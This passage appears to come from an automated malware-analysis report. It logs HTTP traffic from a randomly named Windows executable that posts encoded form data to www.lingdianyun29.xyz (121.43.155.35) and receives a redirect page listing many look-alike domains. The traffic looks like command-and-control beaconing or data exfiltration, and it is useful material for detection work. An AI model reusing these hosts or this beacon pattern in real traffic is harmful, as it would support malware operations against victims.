Nov 28, 2024 09:15:54.352663994 CET	811	OUT	POST /404o/ HTTP/1.1 Host: www.lingdianyun29.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lingdianyun29.xyz Referer: http://www.lingdianyun29.xyz/404o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 62 49 70 77 75 6a 78 48 31 6d 51 78 56 59 58 65 6a 49 35 69 64 78 78 65 65 74 70 61 57 4f 4e 53 6f 6b 49 67 62 43 39 38 43 35 78 51 63 33 47 46 31 6c 51 33 54 62 75 77 6e 4b 5a 55 34 2b 70 72 6d 42 41 39 58 30 48 41 56 6e 78 57 42 6f 78 7a 41 47 70 51 7a 4d 75 6c 39 35 53 35 62 64 52 54 45 33 44 7a 71 6b 6c 4a 77 70 38 49 36 57 30 4c 77 34 7a 41 73 56 42 46 32 46 35 53 31 37 78 53 4b 45 53 45 58 41 4d 36 30 2f 70 36 47 6b 76 51 6e 61 55 72 50 6e 45 36 46 68 48 2b 78 4a 72 30 33 56 46 42 37 50 6d 4b 70 77 48 45 6e 44 6f 35 30 46 4c 63 44 61 4d 57 6f 34 6b 7a 78 5a 55 4e 55 58 44 43 76 36 41 3d Data Ascii: QhKxhNP=bIpwujxH1mQxVYXejI5idxxeetpaWONSokIgbC98C5xQc3GF1lQ3TbuwnKZU4+prmBA9X0HAVnxWBoxzAGpQzMul95S5bdRTE3DzqklJwp8I6W0Lw4zAsVBF2F5S17xSKESEXAM60/p6GkvQnaUrPnE6FhH+xJr03VFB7PmKpwHEnDo50FLcDaMWo4kzxZUNUXDCv6A=
Nov 28, 2024 09:15:55.805223942 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 14605 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 76 61 72 20 6d 61 70 70 69 6e 67 73 20 3d 20 6e 65 77 20 4d 61 70 28 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 30 64 69 61 6e 79 75 6e 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 30 30 30 30 63 6c 6f 75 64 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 30 37 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head><script type="text/javascript">var mappings = new Map();mappings.set("www.0dianyun8.xyz", "https://0dyos.com");mappings.set("00000cloud.top", "https://0dyos.com");mappings.set("lingdianyun07.top", "https://0dyos.com");mappings.set("lingdianyun4.xyz", "https://0dyos.com");mappings.set("www.00000cloud.top", "https://0dyos.com");mappings.set("lingdianyun15.top", "https://0dyos.com");mappings.set("lingdianyun26.xyz", "https://0dyos.com");mappings.set("www.0dianyun17.xyz", "https://0dyos.com");mappings.set("www.0cloud2.top", "https://0dyos.com");mappings.set("www.lingdianyun19.top", "https://0dyos.com");mappings.set("lingdianyun39.top", "https://0dyos.com");mappings.set("lingdianyun16.xyz", "https://0dyos.com");mappings.set("www.0dianyun13.xyz", "https://0dyos.com");mappings.set("www.00dianyun3.xyz", "https://0dyos.com");mappings.set("lingdianyun25.xyz", "https://0dyos.com");mappings.set("www.lingdianyu [TRUNCATED]
Nov 28, 2024 09:15:55.805290937 CET	224	IN	Data Raw: 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 6c 69 6e 67 64 69 61 6e 79 75 6e 33 31 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 Data Ascii: ://0dyos.com");mappings.set("www.lingdianyun31.top", "https://0dyos.com");mappings.set("0dianyun3.xyz", "https://0dyos.com");mappings.set("0dy01.top", "https://0dyos.com");mappings.set("www.0dianyun3.xyz", "h
Nov 28, 2024 09:15:55.805541992 CET	1236	IN	Data Raw: 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 64 69 61 6e 79 75 6e 31 30 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 Data Ascii: ttps://0dyos.com");mappings.set("0dianyun10.xyz", "https://0dyos.com");mappings.set("0dianyun18.xyz", "https://0dyos.com");mappings.set("00dianyun2.xyz", "https://0dyos.com");mappings.set("0dianyun1.xyz", "https://0dyos.com");
Nov 28, 2024 09:15:55.805732012 CET	224	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 30 64 69 61 6e 79 75 6e 31 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a Data Ascii: "https://0dyos.com");mappings.set("www.0dianyun18.xyz", "https://0dyos.com");mappings.set("www.lingdianyun4.top", "https://0dyos.com");mappings.set("www.0dy123.xyz", "https://0dyos.com");mappings.set("www.0dy
Nov 28, 2024 09:15:55.806163073 CET	1236	IN	Data Raw: 76 73 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 6c 69 6e 67 64 69 61 6e 79 75 6e 33 31 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 Data Ascii: vs.xyz", "https://0dyos.com");mappings.set("www.lingdianyun31.xyz", "https://0dyos.com");mappings.set("lingdianyun18.top", "https://0dyos.com");mappings.set("lingdianyun21.xyz", "https://0dyos.com");mappings.set("www.lingdianyu
Nov 28, 2024 09:15:55.806325912 CET	224	IN	Data Raw: 61 6e 79 75 6e 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 30 64 69 61 6e 79 75 6e 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f Data Ascii: anyun8.xyz", "https://0dyos.com");mappings.set("00dianyun4.xyz", "https://0dyos.com");mappings.set("lingdianyun12.xyz", "https://0dyos.com");mappings.set("0dyvs.xyz", "https://0dyos.com");mappings.set("000dia
Nov 28, 2024 09:15:55.806941986 CET	1236	IN	Data Raw: 6e 79 75 6e 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 32 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 Data Ascii: nyun.top", "https://0dyos.com");mappings.set("lingdianyun24.xyz", "https://0dyos.com");mappings.set("www.lingdianyun30.xyz", "https://0dyos.com");mappings.set("lingdianyun28.top", "https://0dyos.com");mappings.set("www.0dy02.to
Nov 28, 2024 09:15:55.807471037 CET	224	IN	Data Raw: 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 30 32 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 Data Ascii: ://0dyos.com");mappings.set("lingdianyun02.xyz", "https://0dyos.com");mappings.set("lingdianyun23.xyz", "https://0dyos.com");mappings.set("www.00dianyun1.xyz", "https://0dyos.com");mappings.set("www.lingdiany
Nov 28, 2024 09:15:55.807777882 CET	1236	IN	Data Raw: 75 6e 32 34 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 32 36 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 Data Ascii: un24.top", "https://0dyos.com");mappings.set("lingdianyun26.top", "https://0dyos.com");mappings.set("www.0dyvs.top", "https://0dyos.com");mappings.set("www.lingdianyun20.top", "https://0dyos.com");mappings.set("www.lingdianyun1
Nov 28, 2024 09:15:55.807991982 CET	224	IN	Data Raw: 67 73 2e 73 65 74 28 22 30 64 79 65 73 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 37 2e 78 79 7a 22 2c 20 22 68 74 74 Data Ascii: gs.set("0dyes.xyz", "https://0dyos.com");mappings.set("lingdianyun7.xyz", "https://0dyos.com");mappings.set("www.lingdianyun07.top", "https://0dyos.com");mappings.set("www.vdoos.com", "https://0dyos.com");map
Nov 28, 2024 09:15:55.925668955 CET	1236	IN	Data Raw: 70 69 6e 67 73 2e 73 65 74 28 22 30 30 64 69 61 6e 79 75 6e 31 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 31 37 2e 74 Data Ascii: pings.set("00dianyun1.xyz", "https://0dyos.com");mappings.set("lingdianyun17.top", "https://0dyos.com");mappings.set("www.lingdianyun15.top", "https://0dyos.com");mappings.set("lingdianyun9.xyz", "https://0dyos.com");mappings.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50012	121.43.155.35	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:57.012895107 CET	831	OUT	POST /404o/ HTTP/1.1 Host: www.lingdianyun29.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lingdianyun29.xyz Referer: http://www.lingdianyun29.xyz/404o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 62 49 70 77 75 6a 78 48 31 6d 51 78 48 6f 48 65 77 37 52 69 66 52 78 66 62 74 70 61 42 65 4e 65 6f 6b 55 67 62 44 34 6b 44 50 5a 51 53 31 65 46 30 6b 51 33 51 62 75 77 76 71 5a 52 38 2b 70 30 6d 42 63 71 58 30 72 41 56 68 64 57 42 71 35 7a 63 6e 70 66 38 38 75 37 77 5a 53 2f 46 74 52 54 45 33 44 7a 71 6e 5a 6a 77 6f 59 49 36 6d 6b 4c 78 5a 7a 42 7a 6c 42 47 7a 46 35 53 2b 62 78 57 4b 45 53 71 58 43 34 55 30 35 31 36 47 6c 66 51 69 59 38 73 47 6e 46 78 42 68 48 74 6e 4b 65 63 6f 56 4a 34 77 63 44 74 71 79 62 38 69 31 5a 54 75 6e 44 30 51 36 67 75 34 72 73 45 67 70 31 6b 4f 30 54 79 78 74 55 6b 51 78 45 58 4a 31 54 6a 6e 79 2f 37 6e 73 53 67 59 30 6c 78 Data Ascii: QhKxhNP=bIpwujxH1mQxHoHew7RifRxfbtpaBeNeokUgbD4kDPZQS1eF0kQ3QbuwvqZR8+p0mBcqX0rAVhdWBq5zcnpf88u7wZS/FtRTE3DzqnZjwoYI6mkLxZzBzlBGzF5S+bxWKESqXC4U0516GlfQiY8sGnFxBhHtnKecoVJ4wcDtqyb8i1ZTunD0Q6gu4rsEgp1kO0TyxtUkQxEXJ1Tjny/7nsSgY0lx
Nov 28, 2024 09:15:58.512017012 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 14605 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 76 61 72 20 6d 61 70 70 69 6e 67 73 20 3d 20 6e 65 77 20 4d 61 70 28 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 30 64 69 61 6e 79 75 6e 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 30 30 30 30 63 6c 6f 75 64 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 30 37 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head><script type="text/javascript">var mappings = new Map();mappings.set("www.0dianyun8.xyz", "https://0dyos.com");mappings.set("00000cloud.top", "https://0dyos.com");mappings.set("lingdianyun07.top", "https://0dyos.com");mappings.set("lingdianyun4.xyz", "https://0dyos.com");mappings.set("www.00000cloud.top", "https://0dyos.com");mappings.set("lingdianyun15.top", "https://0dyos.com");mappings.set("lingdianyun26.xyz", "https://0dyos.com");mappings.set("www.0dianyun17.xyz", "https://0dyos.com");mappings.set("www.0cloud2.top", "https://0dyos.com");mappings.set("www.lingdianyun19.top", "https://0dyos.com");mappings.set("lingdianyun39.top", "https://0dyos.com");mappings.set("lingdianyun16.xyz", "https://0dyos.com");mappings.set("www.0dianyun13.xyz", "https://0dyos.com");mappings.set("www.00dianyun3.xyz", "https://0dyos.com");mappings.set("lingdianyun25.xyz", "https://0dyos.com");mappings.set("www.lingdianyu [TRUNCATED]
Nov 28, 2024 09:15:58.512131929 CET	224	IN	Data Raw: 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 6c 69 6e 67 64 69 61 6e 79 75 6e 33 31 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 Data Ascii: ://0dyos.com");mappings.set("www.lingdianyun31.top", "https://0dyos.com");mappings.set("0dianyun3.xyz", "https://0dyos.com");mappings.set("0dy01.top", "https://0dyos.com");mappings.set("www.0dianyun3.xyz", "h
Nov 28, 2024 09:15:58.512721062 CET	1236	IN	Data Raw: 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 64 69 61 6e 79 75 6e 31 30 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 Data Ascii: ttps://0dyos.com");mappings.set("0dianyun10.xyz", "https://0dyos.com");mappings.set("0dianyun18.xyz", "https://0dyos.com");mappings.set("00dianyun2.xyz", "https://0dyos.com");mappings.set("0dianyun1.xyz", "https://0dyos.com");
Nov 28, 2024 09:15:58.512983084 CET	224	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 30 64 69 61 6e 79 75 6e 31 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a Data Ascii: "https://0dyos.com");mappings.set("www.0dianyun18.xyz", "https://0dyos.com");mappings.set("www.lingdianyun4.top", "https://0dyos.com");mappings.set("www.0dy123.xyz", "https://0dyos.com");mappings.set("www.0dy
Nov 28, 2024 09:15:58.513514996 CET	1236	IN	Data Raw: 76 73 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 6c 69 6e 67 64 69 61 6e 79 75 6e 33 31 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 Data Ascii: vs.xyz", "https://0dyos.com");mappings.set("www.lingdianyun31.xyz", "https://0dyos.com");mappings.set("lingdianyun18.top", "https://0dyos.com");mappings.set("lingdianyun21.xyz", "https://0dyos.com");mappings.set("www.lingdianyu
Nov 28, 2024 09:15:58.513668060 CET	224	IN	Data Raw: 61 6e 79 75 6e 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 30 64 69 61 6e 79 75 6e 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f Data Ascii: anyun8.xyz", "https://0dyos.com");mappings.set("00dianyun4.xyz", "https://0dyos.com");mappings.set("lingdianyun12.xyz", "https://0dyos.com");mappings.set("0dyvs.xyz", "https://0dyos.com");mappings.set("000dia
Nov 28, 2024 09:15:58.514084101 CET	1236	IN	Data Raw: 6e 79 75 6e 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 32 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 Data Ascii: nyun.top", "https://0dyos.com");mappings.set("lingdianyun24.xyz", "https://0dyos.com");mappings.set("www.lingdianyun30.xyz", "https://0dyos.com");mappings.set("lingdianyun28.top", "https://0dyos.com");mappings.set("www.0dy02.to
Nov 28, 2024 09:15:58.514262915 CET	224	IN	Data Raw: 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 30 32 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 Data Ascii: ://0dyos.com");mappings.set("lingdianyun02.xyz", "https://0dyos.com");mappings.set("lingdianyun23.xyz", "https://0dyos.com");mappings.set("www.00dianyun1.xyz", "https://0dyos.com");mappings.set("www.lingdiany
Nov 28, 2024 09:15:58.514750957 CET	1236	IN	Data Raw: 75 6e 32 34 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 32 36 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 Data Ascii: un24.top", "https://0dyos.com");mappings.set("lingdianyun26.top", "https://0dyos.com");mappings.set("www.0dyvs.top", "https://0dyos.com");mappings.set("www.lingdianyun20.top", "https://0dyos.com");mappings.set("www.lingdianyun1
Nov 28, 2024 09:15:58.514883995 CET	224	IN	Data Raw: 67 73 2e 73 65 74 28 22 30 64 79 65 73 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 37 2e 78 79 7a 22 2c 20 22 68 74 74 Data Ascii: gs.set("0dyes.xyz", "https://0dyos.com");mappings.set("lingdianyun7.xyz", "https://0dyos.com");mappings.set("www.lingdianyun07.top", "https://0dyos.com");mappings.set("www.vdoos.com", "https://0dyos.com");map
Nov 28, 2024 09:15:58.632505894 CET	1236	IN	Data Raw: 70 69 6e 67 73 2e 73 65 74 28 22 30 30 64 69 61 6e 79 75 6e 31 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 31 37 2e 74 Data Ascii: pings.set("00dianyun1.xyz", "https://0dyos.com");mappings.set("lingdianyun17.top", "https://0dyos.com");mappings.set("www.lingdianyun15.top", "https://0dyos.com");mappings.set("lingdianyun9.xyz", "https://0dyos.com");mappings.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50013	121.43.155.35	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:59.688683987 CET	1848	OUT	POST /404o/ HTTP/1.1 Host: www.lingdianyun29.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lingdianyun29.xyz Referer: http://www.lingdianyun29.xyz/404o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 62 49 70 77 75 6a 78 48 31 6d 51 78 48 6f 48 65 77 37 52 69 66 52 78 66 62 74 70 61 42 65 4e 65 6f 6b 55 67 62 44 34 6b 44 50 52 51 53 41 4b 46 31 48 34 33 66 37 75 77 68 4b 5a 51 38 2b 6f 75 6d 42 46 43 58 30 33 32 56 6b 42 57 62 50 74 7a 4d 56 42 66 72 4d 75 37 76 4a 53 36 62 64 52 4b 45 33 54 33 71 6e 4a 6a 77 6f 59 49 36 67 67 4c 32 49 7a 42 67 31 42 46 32 46 35 57 31 37 78 75 4b 45 62 58 58 43 73 71 30 4b 74 36 47 46 50 51 6c 37 55 73 4a 6e 46 7a 47 68 47 77 6e 4b 43 44 6f 56 55 42 77 64 32 49 71 77 62 38 68 6b 67 57 7a 6b 48 38 48 36 6b 56 36 74 45 34 30 63 4e 64 49 30 62 56 2b 76 4a 4c 56 78 49 76 47 51 72 61 72 68 75 67 31 70 47 68 64 7a 34 67 6a 32 56 6e 58 41 37 4c 44 58 34 2b 2f 58 45 35 58 50 47 44 56 52 68 34 59 6c 37 36 49 54 51 79 56 56 55 59 34 63 47 31 6a 76 4d 76 6a 77 30 78 51 39 73 68 43 53 62 62 55 75 48 44 66 58 6d 59 6e 30 59 2f 73 6e 47 53 6f 4e 7a 6f 64 50 36 65 30 4b 44 4d 77 64 50 35 32 47 44 50 4f 69 66 6a 4b 7a 41 67 77 41 4b 53 6e 39 72 47 36 75 [TRUNCATED] Data Ascii: QhKxhNP=bIpwujxH1mQxHoHew7RifRxfbtpaBeNeokUgbD4kDPRQSAKF1H43f7uwhKZQ8+oumBFCX032VkBWbPtzMVBfrMu7vJS6bdRKE3T3qnJjwoYI6ggL2IzBg1BF2F5W17xuKEbXXCsq0Kt6GFPQl7UsJnFzGhGwnKCDoVUBwd2Iqwb8hkgWzkH8H6kV6tE40cNdI0bV+vJLVxIvGQrarhug1pGhdz4gj2VnXA7LDX4+/XE5XPGDVRh4Yl76ITQyVVUY4cG1jvMvjw0xQ9shCSbbUuHDfXmYn0Y/snGSoNzodP6e0KDMwdP52GDPOifjKzAgwAKSn9rG6uNk/sgg2XYptXO3g+yHwBcf9ZkNyQ1Ayr7tSsLW1Fco4nDZDZHBz0jmNXHwikIoRm7MSNBwJwFC1tpiejcrD75+f4xbznx7da8ydzBWP7poPOQKVRecJk4XyUVvXkEP+jYQ1+a2zuIA/Cy4lZj0d1AWS82DEQwDasFzKZ185QP4Pxm4dAh9kcgBqqeo03bWDV9eaQqJIL6dQyORlrAXSokgYLzraC28QVJ94TU7jdgvmdDP/XbnrDgiEgCRE/yGl13E2WrdXQGjq8k50Io548eK+26Gf800NT1ezWYCNFbD/ZUGA0/Hdatxxe94AQUcykXb80xjmgEjt+nW5duQJMZhcSad8eMU2c/hZynoIn7cUyq/L9ypk6bPPlqTg71yHvPPcgKl6RmPT0lysU67q0AmZSBs5VAUYNrbszNaJKy3zPM2p9zj3eXuxD8DoDukG/0F2kajWLXwHvJhqFryX9UmwzPvrAWPIvVVyeik4POLjxoakUFP3KD4ipUfvxBk/tdDLb2xb+CaQ3SaT+vOUFmAi5XhsXdKp5zsr8A8rxB5GqEOVFx4Q3i/yLtvqYH2wkooWFuzPgIEUyg0a0Ax16ffbipqBJLExscGvKh5Pkt2+cCqSJfGodkH0Me3XQYvt8mM/ba++wrpiMBL+neggcMaPwp33XOuj9mx [TRUNCATED]
Nov 28, 2024 09:16:01.158471107 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 14605 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 76 61 72 20 6d 61 70 70 69 6e 67 73 20 3d 20 6e 65 77 20 4d 61 70 28 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 77 77 77 2e 30 64 69 61 6e 79 75 6e 38 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 30 30 30 30 30 63 6c 6f 75 64 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 30 37 2e 74 6f 70 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e 73 65 74 28 22 6c 69 6e 67 64 69 61 6e 79 75 6e 34 2e 78 79 7a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 30 64 79 6f 73 2e 63 6f 6d 22 29 3b 0a 09 09 09 6d 61 70 70 69 6e 67 73 2e [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head><script type="text/javascript">var mappings = new Map();mappings.set("www.0dianyun8.xyz", "https://0dyos.com");mappings.set("00000cloud.top", 